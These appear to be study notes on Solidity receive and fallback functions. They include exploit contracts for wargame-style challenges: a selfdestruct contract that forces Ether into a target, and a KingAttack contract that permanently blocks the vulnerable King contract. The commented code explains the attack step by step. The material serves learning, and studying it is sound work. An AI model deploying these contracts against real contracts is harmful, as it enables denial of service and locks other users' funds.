receive and fallback

receive

fallback

If no such function exists, but a payable fallback function exists, the fallback function will be called on a plain Ether transfer. If neither a receive Ether nor a payable fallback function is present, the contract cannot receive Ether through a transaction that does not represent a payable function call and throws an exception.

contract ForceExt  {
       receive() external payable {}

       function destroy (address target) public {
        selfdestruct(payable(target));
       }
}
contract KingAttack{
// constructor can be payable
// constructor calls the king with 3 ETH and no function
// triggers its receivable and gets assigned as new King
// when someone wants to take back control by sending ETH, it reverts
// as KingAttack does not have any receieve or payable fallback
     constructor(address payable _king ) payable{
      (bool s, ) = _king.call{value: 3000000000000000}("");
        require(s, "Failed");
    }
}
// King contract
pragma solidity ^0.8.0;

contract King {
    address king;
    uint256 public prize;
    address public owner;

    constructor() payable {
        owner = msg.sender;
        king = msg.sender;
        prize = msg.value;
    }

    receive() external payable {
    // change the king if the amount sent is higher than prize
    // OR if the sender is the contract owner
        require(msg.value >= prize || msg.sender == owner);
     // There is no way to stop execution of this code as you will never be the owner
     // what you can do it to fail the following lines
     // last 2 lines are assignment, cant fail
     // what can be broken is payable(king).transfer(msg.value);   
     // we make king a contract instead of an EOA
     // a contract cannot receive ETH if it does not have a receive () or payable fallback function
     // so we create a contract with bare minimum constructor
     // send it some ETH and in constructor use call to trigger King's receive function
     // King's contract will make our attack contract the new King, once that is done
     // the below transfer will always fail
        payable(king).transfer(msg.value);
        king = msg.sender;
        prize = msg.value;
    }

    function _king() public view returns (address) {
        return king;
    }
}